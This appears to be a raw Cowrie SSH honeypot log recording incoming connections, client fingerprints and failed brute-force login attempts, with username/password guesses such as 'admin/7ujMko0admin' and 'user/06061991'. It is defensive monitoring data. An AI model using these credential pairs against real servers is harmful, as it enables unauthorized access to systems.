{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:44.619678Z","src_ip":"185.156.73.233","session":"3cc79fa125db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hacluster","password":"hacluster","message":"login attempt [hacluster/hacluster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:47.005007Z","src_ip":"185.156.73.233","session":"3cc79fa125db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:48.088606Z","src_ip":"185.156.73.233","session":"3cc79fa125db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d10f3b02a87a","protocol":"ssh","message":"New connection: 162.120.6.20:45226 (159.203.135.109:22) [session: d10f3b02a87a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.115372Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.187275Z","src_ip":"162.120.6.20","session":"d10f3b02a87a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":45238,"dst_ip":"159.203.135.109","dst_port":22,"session":"26ecbb4884c1","protocol":"ssh","message":"New connection: 162.120.6.20:45238 (159.203.135.109:22) [session: 26ecbb4884c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.254439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.258721Z","src_ip":"162.120.6.20","session":"26ecbb4884c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.328657Z","src_ip":"162.120.6.20","session":"26ecbb4884c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:53.540620Z","src_ip":"162.120.6.20","session":"26ecbb4884c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:56:54.613210Z","src_ip":"162.120.6.20","session":"26ecbb4884c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25429,"dst_ip":"10.17.0.5","dst_port":22,"session":"9386f1dcab78","protocol":"ssh","message":"New connection: 2.57.121.25:25429 (10.17.0.5:22) [session: 9386f1dcab78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:49.965863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:49.970021Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:50.073395Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06061991","message":"login attempt [user/06061991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:50.562733Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06061984","message":"login attempt [user/06061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:51.669031Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06041991","message":"login attempt [user/06041991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:52.774741Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06011990","message":"login attempt [user/06011990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:53.880380Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05111990","message":"login attempt [user/05111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:54.984685Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:57:56.090925Z","src_ip":"2.57.121.25","session":"9386f1dcab78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":51222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a28a2ef255","protocol":"ssh","message":"New connection: 138.128.241.222:51222 (10.17.0.5:22) [session: e2a28a2ef255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:58:31.120731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:58:31.125031Z","src_ip":"138.128.241.222","session":"e2a28a2ef255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:58:31.130669Z","src_ip":"138.128.241.222","session":"e2a28a2ef255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"theta","password":"Theta2017","message":"login attempt [theta/Theta2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:58:31.142971Z","src_ip":"138.128.241.222","session":"e2a28a2ef255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:58:32.150135Z","src_ip":"138.128.241.222","session":"e2a28a2ef255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":12495,"dst_ip":"159.203.135.109","dst_port":22,"session":"8372eca91b71","protocol":"ssh","message":"New connection: 2.57.121.25:12495 (159.203.135.109:22) [session: 8372eca91b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:03.169431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:03.173564Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:03.272240Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06061991","message":"login attempt [user/06061991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:03.741340Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06061984","message":"login attempt [user/06061984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:04.842875Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06041991","message":"login attempt [user/06041991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:05.946475Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"06011990","message":"login attempt [user/06011990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:07.047296Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"05111990","message":"login attempt [user/05111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:08.149561Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:59:09.251056Z","src_ip":"2.57.121.25","session":"8372eca91b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.56","src_port":38466,"dst_ip":"10.17.0.5","dst_port":22,"session":"3306d7ffa468","protocol":"ssh","message":"New connection: 92.118.39.56:38466 (10.17.0.5:22) [session: 3306d7ffa468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:00:45.341810Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:00:45.444716Z","src_ip":"92.118.39.56","session":"3306d7ffa468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":39070,"dst_ip":"159.203.135.109","dst_port":22,"session":"b120e902c350","protocol":"ssh","message":"New connection: 5.75.137.141:39070 (159.203.135.109:22) [session: b120e902c350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:04.870791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:04.876505Z","src_ip":"5.75.137.141","session":"b120e902c350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:04.969254Z","src_ip":"5.75.137.141","session":"b120e902c350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ada","password":"ada","message":"login attempt [ada/ada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:05.156812Z","src_ip":"5.75.137.141","session":"b120e902c350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:06.251375Z","src_ip":"5.75.137.141","session":"b120e902c350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.116","src_port":34900,"dst_ip":"10.17.0.5","dst_port":22,"session":"f464aed389b7","protocol":"ssh","message":"New connection: 80.94.95.116:34900 (10.17.0.5:22) [session: f464aed389b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:39.745257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:40.357120Z","src_ip":"80.94.95.116","session":"f464aed389b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:40.454675Z","src_ip":"80.94.95.116","session":"f464aed389b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"7ujMko0admin","message":"login attempt [admin/7ujMko0admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:41.360296Z","src_ip":"80.94.95.116","session":"f464aed389b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:03:42.478591Z","src_ip":"80.94.95.116","session":"f464aed389b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":40612,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbcc0f0123a","protocol":"ssh","message":"New connection: 64.176.195.200:40612 (10.17.0.5:22) [session: ecbcc0f0123a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:04:03.993828Z"}
